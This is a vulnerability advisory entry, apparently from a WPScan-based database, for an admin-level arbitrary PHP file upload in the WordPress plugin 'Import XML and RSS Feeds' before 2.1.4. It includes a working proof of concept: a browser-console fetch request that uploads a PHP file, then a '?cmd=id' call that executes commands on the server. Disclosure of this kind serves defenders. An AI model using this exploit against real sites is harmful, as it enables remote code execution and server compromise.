Lucene search

K
wpvulndbJonatas Souza Villa FlorWPVDB-ID:D4220025-2272-4D5F-9703-4B2AC4A51C42
HistoryAug 30, 2023 - 12:00 a.m.

Import XML and RSS Feeds < 2.1.4 - Admin+ Arbitrary File Upload

2023-08-3000:00:00
Jonatas Souza Villa Flor
wpscan.com
2
file upload security
remote code execution
xml vulnerability
plugin vulnerability
browser console exploit
php version compatibility

0.001 Low

EPSS

Percentile

43.5%

Description The plugin does not filter file extensions for uploaded files, allowing an attacker to upload a malicious PHP file, leading to Remote Code Execution.

PoC

NOTE: Because of an error in this version of the plugin, the following POC only works on PHP versions previous to 8.0. 1. As an admin, visit /wp-admin/options-general.php?page=moove-importer 2. Run the following code in the browser console: await fetch( ‘/wp-admin/admin-ajax.php’, { credentials: ‘include’, method: ‘POST’, headers: { ‘Content-Type’: ‘application/x-www-form-urlencoded’ }, body: action=moove_save_import_template&amp;type;=upload&amp;extension;=php&amp;file;=&amp;form;_data[post_title]=RCE&amp;nonce;=${document.querySelector('input[name=moove_xml_admin_nonce]').value} } ) 3. Visit /wp-admin/options-general.php?page=moove-importer&amp;tab;=plugin_templates and click on the latest Template which was created. 4. Copy the URL from the field “Type the file URL”. 5. Paste the link into the browser URL bar, and add ?cmd=id. 6. Load the page and see the output of the id command.

CPENameOperatorVersion
eq2.1.4

0.001 Low

EPSS

Percentile

43.5%

Related for WPVDB-ID:D4220025-2272-4D5F-9703-4B2AC4A51C42